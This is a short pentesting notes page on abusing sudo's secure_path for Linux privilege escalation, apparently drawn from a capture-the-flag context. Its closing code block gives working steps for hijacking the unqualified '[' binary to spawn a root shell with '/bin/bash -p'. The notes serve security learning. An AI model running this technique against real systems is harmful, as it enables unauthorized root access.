> For the complete documentation index, see [llms.txt](https://kali-sec-com.gitbook.io/notes/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://kali-sec-com.gitbook.io/notes/secure_path.md).

# secure\_path

\-

<figure><img src="https://3208451223-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FfV7ez8ukUeYeamVg5zy8%2Fuploads%2Fi4BIERdXVqUUmOicaKFT%2Fimage.png?alt=media&amp;token=77f6927a-2b8f-4682-bc03-533d69afe24c" alt=""><figcaption><p>Examine secure_path with sudo -l</p></figcaption></figure>

If the secure path is different from above, check for path hi-jacking or leveraging a binary the sudo privilege points to.

Example:  sudo -l shows low-level user can run `/usr/bin/bash /opt/check.sh`

Check `sudo visudo`. You shouldn't have access as a low-level user, but it's the safe way to make edits to the sudoer's file as it checks for syntax errors.

<figure><img src="https://3208451223-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FfV7ez8ukUeYeamVg5zy8%2Fuploads%2FiZT5qrLfqpvsgEII0g3n%2Fimage.png?alt=media&amp;token=e008346a-1b26-4059-ade4-3169b5320997" alt=""><figcaption><p>sudoers file located at /etc/sudoers</p></figcaption></figure>

Special Case: the bash `test binary` or '\['

By default, all linux, bsd, unix  system come with the `[` binary located in `/bin`

<div align="left"><figure><img src="https://3208451223-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FfV7ez8ukUeYeamVg5zy8%2Fuploads%2FR0ydX1qz78zzJTCHqA81%2Fimage.png?alt=media&amp;token=39c0a9ae-1c09-4080-b06a-1fd7a3812b52" alt="" width="375"><figcaption><p>[  binary at the very top of /bin</p></figcaption></figure></div>

The `[` or `test`  binary in bash is used with boolean operators, commonly found in `if-then` stmts.  Notice it has no absolute path, so it can be path hi-jacked, given the right case.

Example: secure\_path (revealed by sudo -l) starts with /home/mcskidy

lower-level user can run a bash script that uses this `[` binary.

This lower-level user could create an evil `[` bash file, make it executable and privesc:

```
cd /home/mcskidy
nano '['
/bin/bash -p  #type into nano
Ctrl-x        #save file 
sudo /usr/bin/bash /opt/check.sh
```
